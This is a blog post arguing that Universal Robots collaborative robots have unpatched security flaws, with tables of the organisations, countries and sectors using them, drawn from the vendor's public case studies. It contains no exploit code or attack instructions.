<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">The week of Universal Robots’ bugs</div><div class="kg-bookmark-description">Following a series of actions from Universal Robots, Alias Robotics has decided to react by launching the week of Universal Robots bugs. Alias’ team will dedicate resources to file security flaws and consolidating everything and advicing on best security practices with these robots.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://news.aliasrobotics.com/favicon.png"><span class="kg-bookmark-author">Endika Gil-Uriarte</span><span class="kg-bookmark-publisher">Alias Robotics | Robot cybersecurity news</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://news.aliasrobotics.com/content/images/2020/03/portada_ur-02.png"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://cybersecurityrobotics.net/security-universal-robots/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Universal Robots cobots are insecure</div><div class="kg-bookmark-description">Tenths of thousands of users of Universal Robots are using insecure technology that might easily lead to safety hazards. This article argues about why and how we reached this situation and proposes some thoughts and advice on the matter.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://cybersecurityrobotics.net/favicon.png"><span class="kg-bookmark-author">Víctor Mayoral Vilches</span><span class="kg-bookmark-publisher">Cybersecurity and Robotics</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://cybersecurityrobotics.net/content/images/2020/04/polyscope_hijacked.png"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://cybersecurityrobotics.net/universal-robots-ip-disclosure-insecure-exfiltration/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Delivering unprotected IP into robots, Universal Robots+</div><div class="kg-bookmark-description">Universal Robots delivers unprotected Intellectual Property through their insecure development platform, Universal Robots+. More than 600 partners affected have already submitted their Plug-and-Produce products to an insecure platform for robots.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://cybersecurityrobotics.net/favicon.png"><span class="kg-bookmark-author">Víctor Mayoral Vilches</span><span class="kg-bookmark-publisher">Cybersecurity and Robotics</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://cybersecurityrobotics.net/content/images/2020/04/Captura-de-pantalla-2020-04-26-a-las-20.12.19-1.png"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://news.aliasrobotics.com/alias-robotics-talks-security-at/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Alias Robotics leads Security Discussion at ROS-Industrial Conference</div><div class="kg-bookmark-description">Alias Robotics is raising the standard of what it means to be secure in robotics and their mission is going global. Last week, Víctor Mayoral Vilches and Endika Gil Uriarte represented Alias Robotics at the 2019 ROS-Industrial Europe Conference, held at the Fraunhofer IPA in Stuttgart.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://news.aliasrobotics.com/favicon.png"><span class="kg-bookmark-author">McKenna Towers</span><span class="kg-bookmark-publisher">Alias Robotics | Robot cybersecurity news</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://news.aliasrobotics.com/content/images/2019/12/Captura-de-pantalla-2019-12-13-a-las-11.49.51-1.png"></div></a></figure><!--kg-card-begin: markdown--><p>The culprits behind this insecure industrial robotics landscape are collaborative robots UR3, UR5, UR10, eUR3, eUR5, eUR10 and eUR16 (all manufactured by Universal Robots) which present dozens of unpatched security flaws over an insecure file system that's not updated nor maintained according to common security practices. The <mark>current security flaws can be exploited by physical and remote attack vectors</mark> and can <strong>enable cyber-criminals</strong> to <ins>interrupt the automation processes</ins>, <ins>encrypt or steal intellectual property in the robot</ins> (and/or connected vulnerable machines) or even <ins>incur in collisions</ins> after the attackers disable their safety mechanisms, which can be done remotely.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://cybersecurityrobotics.net/content/images/2020/05/imagen-1.png" class="kg-image"><figcaption>Some of the companies using collaborative robots that present cybersecurity vulnerabilities. <a href="https://www.universal-robots.com/case-stories/">Source</a>.</figcaption></figure><p></p><p></p><!--kg-card-begin: markdown--><!--
|   |   |   |   |   |
|---|---|---|---|---|
| ![](https://www.universal-robots.com/media/1800612/cascina-italia.png) | ![](https://www.universal-robots.com/media/1800400/continental_spain.png) | ![](https://www.universal-robots.com/media/1805822/ford-logo.png) | ![](https://www.universal-robots.com/media/1804326/covap-logo.png) | ![](https://www.universal-robots.com/media/1800622/gern-glas.png) |
| ![](https://www.universal-robots.com/media/1800621/gentofte-hospital.png) | ![](https://www.universal-robots.com/media/1803264/loreal-reduces-level-4-ergonomic-risk-with-collabroative-robots-logo.png) | ![](https://www.universal-robots.com/media/1800636/nissan.png) | ![](https://www.universal-robots.com/media/1800890/thiele.jpg) | ![](https://www.universal-robots.com/media/1800624/hofmann.png) |
| ![](https://www.universal-robots.com/media/1800399/bajaj_india.png) |  ![](https://www.universal-robots.com/media/1801860/alpha_corporation_uses_ur5_collabroative_robots.png) |  ![](https://www.universal-robots.com/media/1805283/ur_case_opel_logo.png) |  ![](https://www.universal-robots.com/media/1809644/logo.png) |  ![](https://www.universal-robots.com/media/1800621/gentofte-hospital.png) |
-->
<blockquote>
<p>The current security flaws can be exploited by physical and remote attack vectors and can <ins>enable cyber-criminals</ins> to <ins>interrupt the automation processes</ins>, <ins>encrypt or steal intellectual property in the robot</ins> (and/or connected vulnerable machines) or even <ins>incur in collisions</ins> after the attackers disable their safety mechanisms, which can be done remotely.</p>
</blockquote>
<p>Among the companies affected, it's easy to identify international <strong>automotive  companies and suppliers</strong> including Ford (Romania), Nissan (Japan), Opel (Germany) , Bajaj (India), Alpha Corporation (Japan) or Continental (Spain).  From <strong>farmaceutial companies</strong> to <strong>food an agriculture</strong> processing and production, these robots are used insecurely across domains including <strong>universities</strong> (e.g. PSG College of Technology) and <strong>hospitals</strong> (e.g. Copenhagen University Hospital, Gentofte Hospital).</p>
<p>According to the sources used, including the official case studies <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> information from the very own Universal Robots, <mark>more than 90.000 workers involved in these organizations might be subject to suffer from these security flaws</mark> and the lack of security awareness of this company from the Teradyne group. The more than 100 organizations spread around the world present an <strong>average employee count of more than 650</strong>, which <mark>significantly elevates the risks</mark> given the importance of <mark>insider threats</mark>, as reported by several articles and standards including NIST SP 800-82 Guide to Industrial Control Systems (ICS) Security <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>.</p>
<h3 id="geographicalsituation">Geographical situation</h3>
<p>From the data availble, these insecure collaborative robots are operating in 31 countries with <mark>special representation in Denmark, Czech Republic, India and the USA</mark>.</p>
<div class="responsive-table">
<table>
<thead>
<tr>
<th>Country</th>
<th># Companies affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>Australia</td>
<td>1</td>
</tr>
<tr>
<td>Austria</td>
<td>2</td>
</tr>
<tr>
<td>Canada</td>
<td>2</td>
</tr>
<tr>
<td>China</td>
<td>2</td>
</tr>
<tr>
<td>Czech Republic</td>
<td>10</td>
</tr>
<tr>
<td>Denmark</td>
<td>12</td>
</tr>
<tr>
<td>Finland</td>
<td>2</td>
</tr>
<tr>
<td>France</td>
<td>6</td>
</tr>
<tr>
<td>Germany</td>
<td>13</td>
</tr>
<tr>
<td>Iceland</td>
<td>1</td>
</tr>
<tr>
<td>India</td>
<td>10</td>
</tr>
<tr>
<td>Indonesia</td>
<td>1</td>
</tr>
<tr>
<td>Italy</td>
<td>4</td>
</tr>
<tr>
<td>Japan</td>
<td>7</td>
</tr>
<tr>
<td>Korea</td>
<td>1</td>
</tr>
<tr>
<td>Netherlands</td>
<td>2</td>
</tr>
<tr>
<td>New Zealand</td>
<td>4</td>
</tr>
<tr>
<td>Norway</td>
<td>1</td>
</tr>
<tr>
<td>Poland</td>
<td>4</td>
</tr>
<tr>
<td>Romania</td>
<td>2</td>
</tr>
<tr>
<td>Singapore</td>
<td>3</td>
</tr>
<tr>
<td>Slovakia</td>
<td>1</td>
</tr>
<tr>
<td>Slovenia</td>
<td>1</td>
</tr>
<tr>
<td>Spain</td>
<td>5</td>
</tr>
<tr>
<td>Sweden</td>
<td>5</td>
</tr>
<tr>
<td>Switzerland</td>
<td>3</td>
</tr>
<tr>
<td>Taiwan</td>
<td>3</td>
</tr>
<tr>
<td>Thailand</td>
<td>1</td>
</tr>
<tr>
<td>USA</td>
<td>26</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>2</td>
</tr>
<tr>
<td>Vietnam</td>
<td>1</td>
</tr>
</tbody>
</table>
</div>
<h3 id="sectorsaffected">Sectors affected</h3>
<p>More than 16 sectors and areas of application are affected. The following table summarizes the data collected:</p>
<table>
<thead>
<tr>
<th>Sector</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audiovisual media</td>
<td>1</td>
</tr>
<tr>
<td>Automotive</td>
<td>9</td>
</tr>
<tr>
<td>Automotive and Subcontractors</td>
<td>15</td>
</tr>
<tr>
<td>Automotive, Metal and Machining</td>
<td>1</td>
</tr>
<tr>
<td>Education</td>
<td>2</td>
</tr>
<tr>
<td>Electronics and Technology</td>
<td>18</td>
</tr>
<tr>
<td>Home care, personal care, oils</td>
<td>1</td>
</tr>
<tr>
<td>FMCG, Pharma and Chemistry</td>
<td>1</td>
</tr>
<tr>
<td>Food, Beverage and Agriculture</td>
<td>11</td>
</tr>
<tr>
<td>Furniture and Equipment</td>
<td>9</td>
</tr>
<tr>
<td>Healthcare</td>
<td>1</td>
</tr>
<tr>
<td>Metal and Machining</td>
<td>38</td>
</tr>
<tr>
<td>Pharma and Chemistry</td>
<td>7</td>
</tr>
<tr>
<td>Plastic and Polymers</td>
<td>15</td>
</tr>
<tr>
<td>Scientific and Research</td>
<td>6</td>
</tr>
<tr>
<td>Textile industry</td>
<td>1</td>
</tr>
</tbody>
</table>
<h3 id="conclusions">Conclusions</h3>
<p>It must be noted that the data available represents only a subset of the actual insecurity landscape. According to latest reports, Universal Robots has sold more than 42,000 robots that present critical vulnerabilities <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup> <sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup> <sup class="footnote-ref"><a href="#fn6" id="fnref6">[6]</a></sup> as of latest firmware. A complete list of the companies affected is available below:</p>
<details><summary>Complete list of companies affected according to data available (produced automatically)</summary>
<pre><code>2K Trend, a.s.
AGH University of Science and Technology, Poland
Aircraft Tooling Inc.
Albrecht Jung GmbH und Co. KG
All Axis Machining
ALPHA Corporation
AQUAEL
AR+
ASSA ABLOY NZ
ASSA ABLOY RO
Atria
Attl a spol. s.r.o. Tov&amp;#225;rna na stroje
Aurolab
Autodesk
-
Babo Arms
Bajaj Auto
BAUMRUK &amp;amp; BAUMRUK
Beijing BAI Lear Automotive System Co., Ltd.
Benchmark Electronics Thailand
Betacom
beyerdynamic GmbH &amp;amp; Co. KG
-
Blue Star Limited
B&amp;#246;co B&amp;#246;ddecker
BOOG
BTC Mold CO., LTD
BWIndustrie
Carl Zeiss
Cascina Italia
Clamcleats Ltd
Clearpack Group
CNC Trčka
Comprehensive Logistics
Continental Automotive Spain
Coty Cosmetics
COVAP
Craft and Technik Industries (CATI)
Creating Revolutions
Darex
DCL Logistics
Technical College of Jutland
Dynamic Group
EMTEK
Endutec GmbH
Etalex
EVCO Plastics
Ferdinand Wagner Profile
Fluidics Instruments B.V.
FME Feinmechanik AG
Ford Motor Company
Franke K&amp;#252;chentechnik AG
Fries Maschinenbau
FT produktion
Fusion OEM
Copenhagen University Hospital, Gentofte
Gern Glas
GKN Driveline
Glidewell Laboratories
Group PSA
Gustav Hensel GmbH und Co. KG
-
Heemskerk Fijnmechanica B.V.
Hofmann Glastechnik GmbH
Huis Ten Bosch Co.,Ltd.
Hyundae Induction Hardening Heat Treatment (HIHHT)
InPrint A/S
iQLANDIA Science Center
Izoelektro d.o.o.
Jenny | Waltle GmbH
-
Konetehdas K&amp;amp;K
Koyo Electronics Industries
Lear Corporation
LEAX Group
Life Elettronica Srl
Linaset
Linatex
L&amp;#39;Or&amp;#233;al India Private Limited
Magneti Marelli Slovakia
MANN+HUMMEL Ib&amp;#233;rica
Marka S.r.l.
Melecs EWS GmbH
Minit&amp;#252;b
Mjolkursamsalan Akureyri
-
New Engineering Works
Nichrominox
Nippon Zettoc
Nissan Motor Company
Nordic Sugar
Nortura
Nymann Teknik
Opel
Orkla Foods Sverige
Oticon
OTV Plast
Paradigm Electronics.
PLC Industries
PMI
Profatec AG
Prysm Industries
PSG College of Technology
PT JVC Electronics Indonesia
RAMTEC (Robotics &amp;amp; Advanced Manufacturing Technology Education Collaborative).
RCM Industries
-
RNB Cosm&amp;#233;ticos
Ronet
RSS Manufacturing and Phylrich
Xiamen Runner Industrial Corporation
RUPES
SANOFI
Scandinavian Tobacco Company
Scott Fetzer Electrical Group.
SHAD
Shruti Engineers
Sky Engineering
SMEW Textile Machinery Pvt. Ltd.
STAMIT s.r.o.
Stantr&amp;#230;k
Talbot Technologies
Task Force Tips
TCI New Zealand
Thiele
thyssenkrupp Bilstein
Tool Gauge
Toolcraft Inc
Trelleborg Sealing Solutions
T&amp;amp;W Stamping
Unilever
Vinacomin Motor Industry Joint Stock Company
-
Voodoo Manufacturing
Whippany Actuation Systems
Yokota Corporation
YUEYIN Technology
Zippertubing Company
</code></pre>
</details>
<br>
<p>As indicated by Kirschgens et al. <sup class="footnote-ref"><a href="#fn5" id="fnref5:1">[5:1]</a></sup> in 2018, robots are increasingly intertwined with other facets of IT and envisioned to get much more autonomy, interacting physically with humans yet, <mark>robot security is being ignored by manufacturers</mark>. The present article illustrates this claim with evidence collected over the last two years of research in the area.</p>
<p>Acording to many, cobots  are at  the  rising  point  of  are  the  robotics  technological  revolution and <em>hand in hand</em> with Industry 4.0, called to change many industrial operations while influencing greatly the professional and consumer sectors.  From the words of <sup class="footnote-ref"><a href="#fn5" id="fnref5:2">[5:2]</a></sup>:</p>
<blockquote>
<p>we find extremely relevant to promptly alert about the imperative of ensuring a security first approach now, before new devices continue being irresponsibly rushed to the market by a number of companies. Likewise, we encourage all sides involved to develop both internal and external policies aimed at the adequate management of some of the safety and security issues</p>
</blockquote>
<p>My past 10 years building robots and my daily work at <a href="https://cybersecurityrobotics.net/companies-use-vulnerable-collaborative-robots/aliasrobotics.com/">Alias Robotics</a> provides an interesting angle. From preliminar data and customer responses, <mark>it seems most of these groups are not aware of the insecurities that these robots present to them</mark>. This short essay puts this matter into perspective, and hopes to generate additional awareness across users of the robots.</p>
<p>To conclude, I'd once again cite Kirschgens et al. <sup class="footnote-ref"><a href="#fn5" id="fnref5:3">[5:3]</a></sup> and repeat the main question that the authors asked themselves back in 2018:</p>
<blockquote>
<p>How long will it take until manufacturers notice the damages that the insecurity of these devices may cause and act? ... it seems decisive to remind that, in a world where IT and robotics are increasingly intertwined, safety and security are necessarily tightly coupled. A security-first approach is  <em>”sine qua non”</em> requisite for ensuring safe operations with robots.</p>
</blockquote>
<h3 id="references">References</h3>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Universal Robots. Automate virtually anything. Universal Robots case studies <a href="https://www.universal-robots.com/case-stories/">https://www.universal-robots.com/case-stories/</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Stouffer, K., Lightman, S., Pillitteri, V., Abrams, M., &amp; Hahn, A. (2014). NIST special publication 800-82, revision 2: Guide to industrial control systems (ICS) security. National Institute of Standards and Technology. <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Cerrudo, C., &amp; Apa, L. (2017). Hacking robots before skynet. IOActive Website, 1-17. <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>Mayoral-Vilches, V., Juan, L. U. S., Carbajo, U. A., Campo, R., de Cámara, X. S., Urzelai, O., ... &amp; Gil-Uriarte, E. (2019). Industrial robot ransomware: Akerbeltz. arXiv preprint arXiv:1912.07714 <a href="https://arxiv.org/pdf/1912.07714.pdf">https://arxiv.org/pdf/1912.07714.pdf</a> <a href="#fnref4" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn5" class="footnote-item"><p>Kirschgens, L. A., Ugarte, I. Z., Uriarte, E. G., Rosas, A. M., &amp; Vilches, V. M. (2018). Robot hazards: from safety to security. arXiv preprint arXiv:1806.06681 <a href="https://arxiv.org/pdf/1806.06681.pdf">https://arxiv.org/pdf/1806.06681.pdf</a> <a href="#fnref5" class="footnote-backref">↩︎</a> <a href="#fnref5:1" class="footnote-backref">↩︎</a> <a href="#fnref5:2" class="footnote-backref">↩︎</a> <a href="#fnref5:3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn6" class="footnote-item"><p>Alias Robotics. Week of Universal Robots' bugs. <a href="https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/">https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/</a> <a href="#fnref6" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--><p></p><p></p><p></p><p></p>]]></content:encoded></item></channel></rss>